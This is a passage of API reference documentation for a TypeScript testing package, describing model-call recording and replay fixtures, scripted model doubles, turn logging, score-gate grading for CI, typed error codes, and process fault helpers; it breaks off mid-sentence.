### HostSuite.HostSuiteCase and HostSuiteError

```ts
interface HostSuiteCase {
  readonly name: string
  readonly run: Effect.Effect<void, HostSuiteError>
}

type HostSuiteError =
  | CapabilityContractError
  | PlatformError.PlatformError
  | JjFailure
  | HttpClientError.HttpClientError
```

The channel names the typed contract violation plus the incidental host
failures a supported capability's own probe can produce, rather than widening
to `unknown`, so a runner can tell "this host violates the contract" from "the
scratch write failed because the disk is full".

## ModelLike

The provider-neutral model seam a test drives, copied structurally from
[`@smthrs/model`](/docs/reference/api/model/) so a fixture stores plain data and a third-party
subject need not adopt that package's classes.

### ModelLike.ModelLike

```ts
interface ModelLike {
  readonly stream: (request: ModelRequestLike) => Stream.Stream<ModelEventLike, ModelLikeError>
}

const ModelLike: Context.Service<ModelLike, ModelLike>
const make: (implementation: ModelLike) => ModelLike
```

### ModelLike.ModelRequestLike

The public request shape of `ModelRequest`: `modelId`, `system` text parts,
`messages` (user, assistant, and tool roles), `tools` with their JSON
`parameters`, a `params` record of generation settings, and an optional
`toolChoice`.

`toolChoice` models only `none`, matching the production request. It is
declared request state rather than a wire field, so two requests that differ
only there are different calls and must not share a replay digest.

`cacheKey` and `cacheBoundary` mirror the production provider cache hints
(`ModelLike.ProviderCacheHint`). They never reach the model, and `cacheKey` is
keyed to the run, so `recordedRequest` drops both: a fixture stores a
`ModelLike.RecordedRequestLike`, and the replay digest ignores them.

### ModelLike.ModelEventLike

The public event shape of `ModelEvent`, copied from its streaming protocol.
Every member of that union is present: `text-start`, `text-delta`, `text-end`,
`thinking-start`, `thinking-delta`, `thinking-end`, `tool-call-start`,
`tool-call-delta`, `tool-call-end`, `tool-result`, `usage`, `retry`, and
`settle`.

`tool-result` and `retry` are included deliberately. A recorder that dropped
them would write a fixture that replays a different stream than the one the
provider produced, and the tool output a harness reported is what feeds the
next request's tool message.

### ModelLike.ModelErrorLike and modelErrorTag

```ts
const modelErrorTag = "flows/model/ModelError"

interface ModelErrorLike {
  readonly _tag?: typeof modelErrorTag | undefined
  readonly code:
    | "invalid_request"
    | "context_overflow"
    | "no_route"
    | "authentication"
    | "rate_limited"
    | "quota_exceeded"
    | "content_policy"
    | "provider_internal"
    | "transport"
    | "call_timeout"
    | "invalid_provider_output"
    | "unknown"
  readonly message: string
  readonly path?: string | undefined
  readonly retryAfterMillis?: number | undefined
  readonly resetAtEpochMillis?: number | undefined
  readonly resetSource?: string | undefined
  readonly quotaScope?: "model" | "account" | undefined
  readonly providerCode?: string | undefined
  readonly requestId?: string | undefined
  readonly httpStatus?: number | undefined
}
```

`_tag` is optional because a recorded fixture stores the fields and not the
tag, and required in everything a replay hands back: a consumer that classifies
a provider refusal, such as a quota park, matches on the tag, so a replayed
refusal without one is not the failure that was recorded. `RecordedModel`
stamps it.

`path` is the key path a refusal is about, such as
`$.thinking.budget_tokens`. It is a path only and never a value, because a
request value may carry credentials or user content, which is what makes it
safe for a fixture to store. `RecordingModel` records it so a replayed
`invalid_request` names the field the provider rejected.

`code` is exactly the model package's `ModelErrorCode`. The permission and
grant-store codes belong to the kernel: they are separate typed error classes
the model package never raises, and a fixture that recorded one as a provider
failure would replay a kernel decision as a provider response.

### ModelLike.ModelLikeError

```ts
type ModelLikeError = CapabilityContractError | ModelErrorLike
```

Production model failures retain the exact production shape; a poisoned double
reports a capability contract violation.

`UnscriptedModelError` and `ReplayHarnessMismatchError` are deliberately not
here. Both say the fixture does not describe this run, which is a defect in the
test rather than an outcome the code under test can handle, and neither is a
member of the production `ModelFailure` union. A replay model that failed with
one could not be adapted to the production seam without laundering it into a
provider code, and code that retries or falls back on provider failures would
then retry against a fixture that will never match. The doubles die on both
instead.

## Fixture

The recorded-model fixture format and its replay identity.

### Fixture.Fixture

```ts
interface Fixture {
  readonly calls: ReadonlyArray<RecordedCall>
}

const Fixture: Schema.Struct<{ calls: Schema.Array<...> }>
```

The interface and the schema share one name and are one contract: every level
of both shapes carries the same key set.

The schema is narrower in exactly one place, deliberately: a tool's
`parameters` is `Record<string, unknown>` in the interface, mirroring the model
package's tool shape, and `Record<string, Json>` in the schema, because a
fixture is written to a file and read back.

### Fixture.RecordedCall

```ts
interface RecordedCall {
  readonly request: RecordedRequestLike
  readonly model: string
  readonly events: ReadonlyArray<ModelEventLike>
  readonly failure?: ModelErrorLike | undefined
}
```

`model` is the model the exchange was recorded against, and it is the same
value as `request.modelId`. Decoding enforces that. It is stored separately
because `RecordedModel` matches a call by request **shape**, with `modelId`
erased, so `model` is what answers "was this recorded against the model now
asking?" once the shape has already matched.

### Fixture.decode

```ts
const decode: (input: unknown) => Effect.Effect<Fixture, Schema.SchemaError>
```

Decodes a checked-in fixture. A call whose `model` disagrees with its own
`request.modelId` fails decoding.

### Fixture.canonicalRequestDigest

```ts
const canonicalRequestDigest: (request: ModelRequestLike) => string
```

The canonical JSON encoding of a request, and its replay identity. Object keys
sort recursively, array order is retained, and non-JSON values are rejected
with a typed `FixtureEncodingError` naming the offending path. A value nested
more than 128 levels deep is rejected rather than overflowing the stack.
Enumerable record accessors, array element accessors, sparse array holes, and
failed object inspection are rejected with reason `unsupported-type`.
Accessors are never invoked while encoding tool parameters. Own `__proto__`
keys are preserved as data properties; non-enumerable record fields are ignored.

It returns the canonical **encoding** rather than a fixed-length hash, despite
the name. A fixture cache selects the recorded call to replay by this value, so
a hash collision would replay another conversation's response as this one's;
the package owns no synchronous cryptographic hash, and a non-cryptographic one
buys shorter keys at the cost of a wrong answer nothing would detect.

### Fixture.index

```ts
const index: (fixture: Fixture) => ReadonlyMap<string, RecordedCall>
```

A digest-keyed index over a fixture's recorded calls, computed once and
memoized on the fixture object. Without it, both model doubles re-encoded the
incoming request **and** every call already in the fixture on every invocation:
O(n squared) full re-encodings of complete conversations per run.

The memo is keyed by object identity. `FixtureStore` replaces the whole fixture
on every append rather than mutating it, so a recorded call is visible to the
next lookup; a caller that instead mutates a fixture's `calls` in place would
read a stale index. First writer wins on a duplicate digest.

A recorded request is memoized on its own identity as well, so an append does
not force the next lookup to re-encode the calls already recorded. Only a
frozen request is memoized: a store's own copy of a recorded call is frozen,
and a fixture the caller still owns is re-encoded per fixture.

### Fixture.recordedRequest

```ts
const recordedRequest: (request: ModelRequestLike) => ModelRequestLike
```

Projects a request onto the plain JSON data a fixture stores, deep-copying
every collection including tool `parameters`, `stopSequences`, `itemIds`, and
`addedToolNames`.

The production `ModelRequest` is a `Schema.Class` whose messages, tools, and
params are class instances. A recorder that stored one verbatim would write a
fixture whose shape depends on the class, and `canonicalRequestDigest` rejects
any value that is not a plain object. This copy keeps the recorded request, the
decoded fixture, and the digest input the same value.

## FixtureStore

Loads and records a recorded-model fixture.

```ts
interface FixtureStore {
  readonly load: () => Effect.Effect<Option.Option<Fixture>>
  readonly append: (call: RecordedCall) => Effect.Effect<void>
}

const FixtureStore: Context.Service<FixtureStore, FixtureStore>
const make: (implementation: FixtureStore) => FixtureStore
```

Neither method has an error channel. A fixture that cannot be read or decoded
is a broken test setup, not an outcome the code under test can handle, so it is
a defect; a fixture that does not exist yet is `None`, which is what a first
recording run sees.

### FixtureStore.makeMemory and layerMemory

```ts
const makeMemory: (initial?: Fixture) => Effect.Effect<FixtureStore>
const layerMemory: (initial?: Fixture) => Layer.Layer<FixtureStore>
```

Keeps the fixture in memory. `load` reports `None` until the first call is
recorded, so an empty memory store behaves exactly like a file that does not
exist yet.

### FixtureStore.makeFile and layerFile

```ts
const makeFile: (path: string) => Effect.Effect<
  FixtureStore & {
    readonly flush: () => Effect.Effect<void>
  }
>
const layerFile: (path: string) => Layer.Layer<FixtureStore>
```

A store over a JSON file and an append-only journal. Node only. `append`
asynchronously persists only the new call. `flush` atomically publishes the
complete JSON and releases the writer lock; `layerFile` flushes on scope close.
The store recovers completed journal lines when reopened. Competing writers
fail with a path-naming defect. See [file persistence and recovery](https://github.com/smithersai/smithers/blob/main/packages/testing/docs/concepts/fixtures.md#file-persistence-and-recovery).

## RecordingModel

Wraps a live model so each call is written to a sink when its stream ends.

```ts
type Sink = (call: RecordedCall) => Effect.Effect<void>

const make: (live: Model.Model, sink: Sink) => Model.Model
const layer: (live: Model.Model, sink: Sink) => Layer.Layer<Model.Model>
```

The sink cannot fail and needs no services, so wrapping a model never widens
its stream's error channel or its requirements.

The recorder flushes only on an exhausted stream and on a provider failure, and
stays silent otherwise. Interruption, a defect, and a consumer that stops
pulling early all leave a truncated exchange: recording one would write a stream
with no `settle` event, which replays as an aborted turn and poisons any cache
built from the same fixture. A `PermissionRequired`, `PermissionDenied`, or
`GrantStoreError` failure is not recorded either, because the kernel refused the
call before the provider saw it; the failure still reaches the caller
unchanged.

The request is projected at stream acquisition rather than after the exchange,
and each event is snapshotted as it is emitted, so a caller that mutates its own
request or its own event objects mid-exchange does not change what was
recorded.

## RecordedModel

The strict replay double.

### RecordedModel.make

```ts
const make: (fixture: Fixture, options?: Options) => Effect.Effect<Replay>
```

Builds a replay model and its controller. Calls are claimed before the returned
stream starts, so stream interruption leaves no pending claim and no background
replay fiber. A request the fixture does not describe dies with
`UnscriptedModelError`, and a fixture recorded against another model dies with
`ReplayHarnessMismatchError`.

### RecordedModel.layer and scripted

```ts
const layer: (fixture: Fixture, options?: Options) => Layer.Layer<ModelLike | RecordedModel>
const scripted: (...calls: ReadonlyArray<RecordedCall>) => Effect.Effect<Replay>
```

`layer` provides both the model seam and the controller. `scripted` creates a
fixture-backed model from handwritten calls.

### RecordedModel.Replay, RecordedModel, and Options

```ts
interface Replay {
  readonly model: ModelLike
  readonly controller: RecordedModel
}

interface RecordedModel {
  readonly unconsumed: () => Effect.Effect<ReadonlyArray<RecordedCall>>
}

interface Options {
  readonly strictRequestOrder?: boolean | undefined
}

const RecordedModel: Context.Service<RecordedModel, RecordedModel>
```

`unconsumed` returns fixture calls that were never selected for replay, which
is how a test asserts that exactly the recorded calls happened.
`strictRequestOrder` requires calls to be consumed in their fixture order.

## CachedModel

A model that replays a fixture hit and records a miss.

```ts
interface Options {
  readonly live?: Model.Model | undefined
  readonly fixture: FixtureStore
  readonly normalize?: ((request: RecordedRequestLike) => RecordedRequestLike) | undefined
}

const make: (options: Options) => Model.Model
const layer: (options: Options) => Layer.Layer<Model.Model>
```

Without `live` the model only replays: a miss dies with `UnscriptedModelError`,
records nothing, and never reaches the network. A CI run uses this mode.

`normalize` rewrites run-varying text, such as a temporary path, a port or a
run id, out of a request before it is keyed and recorded, so the next run's
request finds the same recording. The live model still receives the original
request. Leave `modelId` alone.

The fixture is consulted per call rather than once, so a miss recorded by one
call is a hit for the next identical one inside the same run. Nothing is
claimed: a cache serves the same recording to every request that matches it,
which is what makes a retried step deterministic.

`CachedModel` keys on the whole canonical request, `modelId` included, so
switching models is an ordinary miss that records a second entry. Use it when a
test only needs its calls to be free and deterministic; use `RecordedModel`
when the test must assert that exactly the recorded calls happened.

## CachedEvaluator

`CachedModel` for the `/model/Evaluator` seam, recording into the same fixture.

```ts
interface Options {
  readonly live?: Evaluator.Evaluator | undefined
  readonly fixture: FixtureStore
  readonly modelId?: string | undefined
  readonly normalize?: CachedModel.Options["normalize"]
}

const make: (options: Options) => Evaluator.Evaluator
const layer: (options: Options) => Layer.Layer<Evaluator.Evaluator>
```

An evaluation is stored as one model call: its request is `modelId`
(`Evaluator.defaultModel` by default) with one user message holding the
canonical JSON of the state and the encoded questions, and its answer is one
text part holding the answers, the confidence and the usage. The recorder's
credential guard covers it like any model call. A replay reports `latencyMs: 0`
and no timing. A recorded `EvaluatorError` replays with the same code, status
and reset. Without `live` a miss dies with `UnscriptedModelError`. A state that
is not JSON fails `invalid_question` before anything is recorded.

## TurnGate

Hold a model turn until the test releases it.

```ts
interface TurnGate {
  readonly hold: (key: string) => Effect.Effect<void>
  readonly release: (key: string) => Effect.Effect<void>
  readonly held: () => Effect.Effect<ReadonlyArray<string>>
}

interface ModelOptions {
  readonly gate: TurnGate
  readonly key: (request: ModelRequest) => string | undefined
}

const make: () => Effect.Effect<TurnGate>
const model: (inner: Model.Model, options: ModelOptions) => Model.Model
```

`model` calls `inner` only after the turn's key is released; a turn whose `key`
is `undefined` passes at once. A release is sticky: it answers every turn held
on the key, and every later turn on it passes at once. `held` lists one entry
per waiting turn, in arrival order; an interrupted turn leaves the list.

## ScriptedModel

A model that answers from a script, for the turns a recording cannot make: a
question asked on cue, a build broken once, a turn held until released.

```ts
interface Reply {
  readonly name: string
  readonly text: string
  readonly hold?: string | undefined
  readonly detail?: Readonly<Record<string, unknown>> | undefined
}
type Script = (request: ModelRequest) => Reply | undefined

interface Turn {
  readonly name: string
  readonly when: (request: ModelRequest) => boolean
  readonly reply: (request: ModelRequest) => string
  readonly hold?: ((request: ModelRequest) => string | undefined) | undefined
}

interface Options {
  readonly script: Script
  readonly fallback?: Model.Model | undefined
  readonly gate?: TurnGate.TurnGate | undefined
  readonly log?: TurnLog.TurnLog | undefined
  readonly usage?: { readonly inputTokens: number; readonly outputTokens: number } | undefined // 100 and 100
}

interface TranscriptMessage {
  readonly role: "system" | "user" | "assistant" | "tool"
  readonly content: string
}

const make: (options: Options) => Model.Model
const fromTurns: (turns: ReadonlyArray<Turn>) => Script
const transcript: (request: ModelRequest) => ReadonlyArray<TranscriptMessage>
```

A matched request streams `text` as one text part, a `stop` settle, and then a
usage event, which `ModelServer` writes as OpenAI's choice-less usage chunk. An
unmatched request goes to `fallback`; without one it dies with
`UnscriptedModelError`. A reply with `hold` waits on `gate` first; without a
gate it answers at once. A script that throws fails the turn with an
`invalid_request` `ModelError` (`httpStatus` 400) naming the reason. With `log`,
each turn is recorded at dispatch under the reply's `name`, or `unscripted`,
with its `hold` and `detail`. `fromTurns` answers with the first turn whose
`when` holds. `transcript` gives one system message per system part, then each
message's text, tool-call arguments and tool results joined.

## BuiltinScript

A `ScriptedModel` script for the built-in flows a Smithers install runs: a
TODO's coding steps, the pull request review, a conflict resolution, `/review`
and the wiki review. A test steers each TODO with directives written into its
prompt as bracketed tags.

```ts
interface Directives {
  readonly ask?: boolean | undefined // [ASK]
  readonly fail?: boolean | undefined // [FAIL]
  readonly failOnce?: boolean | undefined // [FAILONCE]
  readonly restore?: boolean | undefined // [RESTORE]
  readonly fixed?: boolean | undefined // [FIXED]
  readonly hold?: string | undefined // [HOLD key]
  readonly noResolve?: boolean | undefined // [NORESOLVE]
  readonly file?: string | undefined // [FILE path]
  readonly flowEdit?: boolean | undefined // [FLOWEDIT]
  readonly changelog?: boolean | undefined // [CHANGELOG]
  readonly observeUid?: number | undefined // [OBSERVEUID uid]
  readonly probeReview?: boolean | undefined // [PROBEREVIEW]
}

interface Options {
  readonly greeting?: string | undefined // GREETING
  readonly todoFlow?: string | undefined // the source of .smithers/flows/todo/flow.ts
  readonly holdAt?: ReadonlyArray<string> | undefined
  readonly reviewFindings?: ReadonlyArray<ReviewFinding> | undefined
}

interface BuiltinScript {
  readonly respond: (messages: ReadonlyArray<ChatMessage>) => ScriptedModel.Reply | undefined
  readonly script: ScriptedModel.Script
}

const make: (options?: Options) => BuiltinScript
const tag: (directives: Directives) => string
const directives: (value: unknown) => Directives
const unscripted: ScriptedModel.Script
const isJudgement: (questions: Readonly<Record<string, unknown>> | null | undefined) => boolean
const answer: (name: string, question: { readonly type?: unknown; readonly criteria?: unknown }) => Evaluator.RawAnswer
const evaluator: Evaluator.Evaluator
const teachings: Readonly<Record<string, string>>
const QUESTION: string
const GREETING: string
const SUBJECT: string
const CHANGELOG_STEP: string
const REVIEW_ANSWER: string
```

A turn is recognized by the system teaching in `teachings` and answered with one
`cell` that settles the step's output. `tag` throws for a hold key outside
`[A-Za-z0-9._-]+`, a path outside `[A-Za-z0-9._/-]+` or a uid that is not a
non-negative integer. `directives` reads `fail` and `failOnce` as ended by
`fixed`. A `flowEdit` edit throws without `todoFlow`. `unscripted` settles any
other turn with `{ messages: ["scripted"] }` and keeps the teaching and last
message, 6,000 characters each, as trace detail. `answer` throws for a choice it
cannot route or an unknown type; `evaluator` fails those as `invalid_question`
and reports 120 input tokens per evaluation.

## TurnLog

Count and trace the turns a model double serves.

```ts
type Kind = "chat" | "evaluation" | "refused"

interface Entry {
  readonly n: number
  readonly at: string
  readonly kind: Kind
  readonly step: string
  readonly [field: string]: unknown
}

interface Summary {
  readonly total: number
  readonly chat: number
  readonly evaluation: number
  readonly refused: number
  readonly steps: Readonly<Record<string, number>>
}

interface TurnLog {
  readonly chat: (
    request: ModelRequest,
    step: string,
    detail?: Readonly<Record<string, unknown>>
  ) => Effect.Effect<void>
  readonly record: (kind: Kind, step: string, detail?: Readonly<Record<string, unknown>>) => Effect.Effect<void>
  readonly entries: () => Effect.Effect<ReadonlyArray<Entry>>
  readonly summary: () => Effect.Effect<Summary>
}

const make: (options?: { readonly file?: string; readonly messages?: boolean }) => Effect.Effect<TurnLog>
const model: (
  inner: Model.Model,
  options: { readonly log: TurnLog; readonly step: (request: ModelRequest) => string }
) => Model.Model
const evaluator: (inner: Evaluator.Evaluator, options: { readonly log: TurnLog }) => Evaluator.Evaluator
```

A chat entry carries `model` and `messageCount`, and with `messages: true` the
request's `ScriptedModel.transcript` as `messages`. A detail never overwrites
`n`, `at`, `kind` or `step`. With `file`, each entry is appended as one JSON
line to an owner-only file. `evaluator` records `evaluation` with the answers,
or `refused` with the failure's message, under the question ids joined with
commas (`empty` for none). An entry never holds a header or credential.

## ScoreGate

`@smthrs/testing/ScoreGate` re-exports the pure grading contract from
`@smthrs/scorers/ScoreGate` and adds the fixed-suite runner and `ciGrade`
report helper. Runtime applications import scorers directly; testing stays a
development dependency. `TestingError.ScoreGateError`, `ScoreGateCode`, and
`InvalidScoreSample` re-export the same class and schemas from scorers, so
constructor identity, tags, fields, and existing test imports are preserved.

Fixed-suite score gates and their three-way verdicts.

### ScoreGate.ScoreSample

```ts
type ScoreSample =
  & { readonly case: string; readonly stepKey: string; readonly scorer: string }
  & (
    | { readonly kind: "score"; readonly value: number; readonly reason?: string | undefined }
    | { readonly kind: "inconclusive"; readonly reason: string }
  )
```

One score observation collected for one fixed test case and step key. A `score`
value must be inside `[0, 1]`.

### ScoreGate.Verdict

```ts
type Verdict =
  | { readonly _tag: "Passed"; readonly inconclusive: ReadonlyArray<string> }
  | { readonly _tag: "Failed"; readonly reasons: ReadonlyArray<string>; readonly inconclusive: ReadonlyArray<string> }
  | { readonly _tag: "Inconclusive"; readonly reasons: ReadonlyArray<string> }
```

The two kinds of bad news are separate members because they answer different
questions. `Failed` is a finding: the scores a run produced did not meet a
gate, which is a measurement and a red. `Inconclusive` is an environment fault:
nothing could be measured, which is a broken harness to repair rather than a
result to read. A fault observed beside a decidable gate travels in
`inconclusive` alongside the verdict, never instead of it.

### ScoreGate.expectScores

```ts
const expectScores: (samples: ReadonlyArray<ScoreSample>) => ScoreExpectation
```

```ts
interface ScoreExpectation {
  readonly mean: (threshold: number) => Effect.Effect<Verdict, ScoreGateError>
  readonly min: (threshold: number) => Effect.Effect<Verdict, ScoreGateError>
  readonly perCase: (thresholds: Readonly<Record<string, number>>) => Effect.Effect<Verdict, ScoreGateError>
}
```

`mean` gates the arithmetic mean of every score observation, `min` gates every
observation, and `perCase` gates each named case's lowest observation.

A gate is evaluated over the score observations that exist. An inconclusive
observation is reported beside the verdict, and it withholds a decision only
when it leaves the gate nothing to measure. A gate the surviving scores miss is
`Failed`, not inconclusive. The error channel is reserved for misuse of the
gate itself: a threshold or a score outside `[0, 1]`.

### ScoreGate.validateSamples

```ts
const validateSamples: (samples: ReadonlyArray<ScoreSample>) => Effect.Effect<void, ScoreGateError>
```

Rejects every score observation outside `[0, 1]`, naming each one in the
error's `samples` field. A gate builder validates its own samples, but a caller
that constructs samples itself, a suite runner or a reporter, has no other way
to reach this check, and an unvalidated `NaN` reaches a report as a passing
number.

### ScoreGate.combine

```ts
const combine: (verdicts: ReadonlyArray<Verdict>, environmentFaults?: ReadonlyArray<string>) => Verdict
```

Reduces the verdicts of several gates, plus the environment faults observed
outside them, to one verdict. Precedence is findings first: a gate a run
measurably missed is a red even when another observation went missing, because
the failing measurement happened. A gate that could not be evaluated at all
keeps the run inconclusive, and faults that decided nothing travel alongside a
pass.

### ScoreGate.grade

```ts
const grade: (verdict: Verdict) => { readonly exitCode: 0 | 1 | 5; readonly summary: string }
```

Maps a verdict to the shared CI convention: a finding exits 1, an undecidable
run exits 5, and a clean pass exits 0. A pass that carries unresolved
observations exits 5 as well, because the gates it met were met over fewer
observations than the suite declared.

### ScoreGate.suite

```ts
const suite: <I>(options: SuiteOptions<I>) => Effect.Effect<SuiteReport, ScoreGateError>
```

```ts
interface SuiteOptions<I> {
  readonly cases: ReadonlyArray<SuiteCase<I>>
  readonly run: (suiteCase: SuiteCase<I>) => Effect.Effect<ReadonlyArray<ScoreSample>, unknown>
  readonly gates?: SuiteGates | undefined
}

interface SuiteCase<I> {
  readonly name: string
  readonly input: I
  readonly minScore?: number | undefined
}

interface SuiteGates {
  readonly mean?: number | undefined
  readonly min?: number | undefined
}
```

Runs a fixed suite through its case runner, collects every score sample,
applies the declared gates over the samples that exist, and grades the whole
run. Every returned sample is rebound to the case that was actually run:
trusting the runner's own `case` field let a runner bug attribute samples to
another case, so the per-case gates silently measured the wrong one.

Any failure or defect the runner raises is an environment fault. That case
contributes no samples and its reason to the verdict's `inconclusive` list, and
it no longer cancels the gates the finished cases can still be judged by.

### ScoreGate.SuiteReport, CaseReport, and CaseVerdict

```ts
interface SuiteReport {
  readonly cases: ReadonlyArray<CaseReport>
  readonly samples: ReadonlyArray<ScoreSample>
  readonly verdict: Verdict
}

interface CaseReport {
  readonly name: string
  readonly verdict: CaseVerdict
  readonly samples: ReadonlyArray<ScoreSample>
}

type CaseVerdict =
  | { readonly _tag: "Scored" }
  | { readonly _tag: "Inconclusive"; readonly reasons: ReadonlyArray<string> }
```

A per-case environment fault grades `Inconclusive`, never `Failed`.

### ScoreGate.ciGrade

```ts
const ciGrade: (report: SuiteReport) => { readonly exitCode: 0 | 1 | 5; readonly summary: string }
```

`grade` over a whole report, with a summary that counts the cases and samples
behind a clean pass.

## TestingError

Every typed failure this package raises, and the closed unions of stable codes
they carry. Consumers match on codes, never on message prose. Every literal is
`snake_case`.

### The code unions

```ts
const PlanAssertionCode: Schema.Literals<[...]>
const JournalAssertionCode: Schema.Literals<[...]>
const ScoreGateCode: Schema.Literals<[...]>
const Code: Schema.Union<[...]>
```

Each has a matching decoded type of the same name.

| Union                  | Members                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `PlanAssertionCode`    | `missing_node`, `node_count_mismatch`, `key_mismatch`, `placement_mismatch`, `declared_effect_mismatch`, `envelope_mismatch`, `missing_edge`, `unexpected_edge`, `coverage_mismatch`, `snapshot_mismatch`, `key_golden_mismatch`, `purity_violation`, `input_decode_failed`                                                                                                                                                                                                  |
| `JournalAssertionCode` | `step_not_executed`, `execution_order_mismatch`, `terminal_status_mismatch`, `effect_not_executed`, `effect_kind_mismatch`, `effect_journaled_more_than_once`, `missing_idempotency_key`, `idempotency_key_mismatch`                                                                                                                                                                                                                                                         |
| `ScoreGateCode`        | `invalid_threshold`, `invalid_score`, `mean_below_threshold`, `min_below_threshold`, `case_below_threshold`                                                                                                                                                                                                                                                                                                                                                                  |
| `Code`                 | The three above, plus `conformance_violation`, `unscripted_model`, `fixture_not_encodable`, `replay_harness_mismatch`, `fixture_divergence`, `exactly_once_unsupported`, `capability_contract_violation`, `conformance_skipped`, `engine_unavailable`, `execution_conflict`, `capability_operation_failed`, `transaction_commit_failed`, `rewind_failed`, `flow_hash_mismatch`, plus upstream `flow_cycle_detected`, `cancel_request_failed`, `unsafe_interrupt_unsupported` |

### The errors

Every error is a `Schema.TaggedError`, so it carries its `_tag`, a stable
`code`, and typed fields.

| Error                         | `code`                          | Fields                                                                                                            |
| ----------------------------- | ------------------------------- | ----------------------------------------------------------------------------------------------------------------- |
| `PlanAssertionError`          | a `PlanAssertionCode`           | `message`, optional `expected`, optional `actual`                                                                 |
| `JournalAssertionError`       | a `JournalAssertionCode`        | `message`, optional `expected`, optional `actual`                                                                 |
| `ConformanceViolation`        | `conformance_violation`         | `pin`, `message`, optional `expected`, optional `actual`                                                          |
| `UnscriptedModelError`        | `unscripted_model`              | `modelId`, `messageCount`, `toolNames`                                                                            |
| `FixtureEncodingError`        | `fixture_not_encodable`         | `path`, `reason` (`cycle`, `non-plain-object`, `non-finite-number`, `symbol-key`, `unsupported-type`, `too-deep`) |
| `ReplayHarnessMismatchError`  | `replay_harness_mismatch`       | `expected`, `actual`                                                                                              |
| `FixtureDivergenceError`      | `fixture_divergence`            | `index`, `field`, `expected`, `actual`                                                                            |
| `ExactlyOnceUnsupportedError` | `exactly_once_unsupported`      | `message`                                                                                                         |
| `CapabilityContractError`     | `capability_contract_violation` | `capability`, `operation`, optional `expectedCode`, optional `actualCode`                                         |
| `ConformanceSkipped`          | `conformance_skipped`           | `pin`, `capability`, `reason`                                                                                     |
| `ScoreGateError`              | a `ScoreGateCode`               | optional `threshold`, optional `actual`, optional `samples`                                                       |
| `EngineUnavailableError`      | `engine_unavailable`            | `message`                                                                                                         |
| `ExecutionConflictError`      | `execution_conflict`            | `executionId`, `field` (`flow` or `payload`), `expected`, `actual`                                                |
| `CapabilityOperationError`    | `capability_operation_failed`   | `capability`, `operation`, `message`                                                                              |
| `TransactionCommitError`      | `transaction_commit_failed`     | `boundary` (a `TransactionBoundary`)                                                                              |
| `RewindFailureError`          | `rewind_failed`                 | `executionId`, `frame`, `boundary` (a `RewindBoundary`)                                                           |
| `FlowHashMismatchError`       | `flow_hash_mismatch`            | `executionId`, `expectedFlowHash`, `actualFlowHash`, `expectedImportHash`, `actualImportHash`                     |

`UnscriptedModelError`'s fields are a bounded identity, not the request. It is
raised as a defect, so a runner prints it in full; carrying the whole request
put every system block, every turn of the conversation, and every tool schema
into CI logs and into any attached error reporter.

`CapabilityContractError` carries a wrong observed code in `actualCode` rather
than encoded into `operation`, so a consumer never has to parse a message to
learn which code it got.

`ScoreGateError`'s `threshold` and `actual` are optional because not every code
has both: `invalid_threshold` has no observation and `invalid_score` has no
threshold, and a placeholder `0` in either position is a number a consumer
would read as meaningful. `samples` names every rejected observation.

`ExecutionConflictError` reports a `run` that named an existing execution id
with a different flow or payload. An engine that accepted the id and silently
ran the original flow on the original payload would give a caller no signal
that its arguments were ignored, on the seam that defines engine conformance.
`expected` and `actual` are bounded renderings, never the payloads themselves.

Approval timeout and loop-limit failures are not part of this contract. The
reserved `TaskTimeoutError` and `RalphMaxReachedError` classes and their codes
have been removed; concrete subjects and behavioral pins must precede new
capability-specific failures.

### The boundary unions

```ts
const TransactionBoundary: Schema.Literals<["frame", "snapshot", "output", "attempt", "event"]>
const RewindBoundary: Schema.Literals<[
  "load-frame",
  "validate-frame",
  "truncate-journal",
  "restore-snapshot",
  "restore-output",
  "restore-attempt",
  "append-audit",
  "resume"
]>
const InvalidScoreSample: Schema.Struct<{ case; stepKey; scorer; value }>
```

The two boundary unions name where a commit or a rewind was when it failed.
`TransactionCommitError` carries a `TransactionBoundary` and
`RewindFailureError` carries a `RewindBoundary`, so a pin can tell a failed
journal truncation from a failed snapshot restore without parsing a message.
Each union has a matching decoded type.

### TestingError.EngineSubjectError

```ts
type EngineSubjectError =
  | EngineUnavailableError
  | ExecutionConflictError
  | CapabilityContractError
  | ConformanceSkipped
  | CapabilityOperationError
  | TransactionCommitError
  | RewindFailureError
  | FlowHashMismatchError
  | FlowCycleDetected
  | CancelRequestFailed
```

Every typed failure an engine subject, or one of its optional capabilities, may
raise. The conformance seam never carries an `unknown` error channel.

`FlowCycleDetected` and `CancelRequestFailed` come from
[`@smthrs/flow`](/docs/reference/api/flow/) and are re-declared here because they are part of
the engine's typed `execute` and interrupt contracts: pins must be able to
match on the cycle `path` rather than on a stringified dump. `Code` includes
their upstream code schemas: `flow_cycle_detected`, `cancel_request_failed`,
and `unsafe_interrupt_unsupported`.

## Faults

Real, machine-global process fault primitives, imported by subpath:

```ts
import { isAlive, killProcess, skewClock, waitForReparent } from "@smthrs/testing/Faults"
```

Every helper that waits takes an optional `timeoutMs` as its last argument. A
`timeoutMs` that is `NaN` or negative throws `RangeError` before the helper
waits or signals.

### Faults.isAlive and isGroupAlive

```ts
const isAlive: (pid: number) => boolean
const isGroupAlive: (pgid: number) => boolean
```

Signal 0 performs the permission and existence check without delivering
anything. `ESRCH` is the only answer that means "gone"; `EPERM` means the
process exists and belongs to somebody else. Both helpers require a positive
integer identifier and return `false` for invalid inputs without signalling.
`isGroupAlive` accepts a positive group id and negates it internally to address
the whole process group, which is the unit host containment works in.

### Faults.parentPid and waitForReparent

```ts
const parentPid: (pid: number) => number | undefined
const waitForReparent: (pid: number, expected: number, timeoutMs?: number) => Promise<number>
```

`parentPid` is the orphan test: a child whose parent was killed is reparented,
and on macOS and Linux the new parent is pid 1 or a subreaper. It answers
`undefined` when the process is gone.

`waitForReparent` waits until the operating system has moved `pid` away from
`expected`, and returns the parent it settled on. Reparenting is not
instantaneous: the kernel moves the child when the old parent is reaped, which
is after the signal is delivered, so a suite that reads `parentPid` once races
that.

### Faults.waitFor

```ts
const waitFor: (predicate: () => boolean, label: string, timeoutMs?: number) => Promise<void>
```

Waits until `predicate` holds, or rejects with `label` in the message. The
timeout runs on the real clock, so a `skewClock` jump during the wait neither
ends it early nor extends it.

### Faults.killProcess

```ts
const killProcess: (
  handle: { readonly pid?: number | undefined },
  signal?: NodeJS.Signals,
  timeoutMs?: number
) => Promise<void>
```

Sends `signal` (default `SIGKILL`) to a real pid and waits for it to leave. A
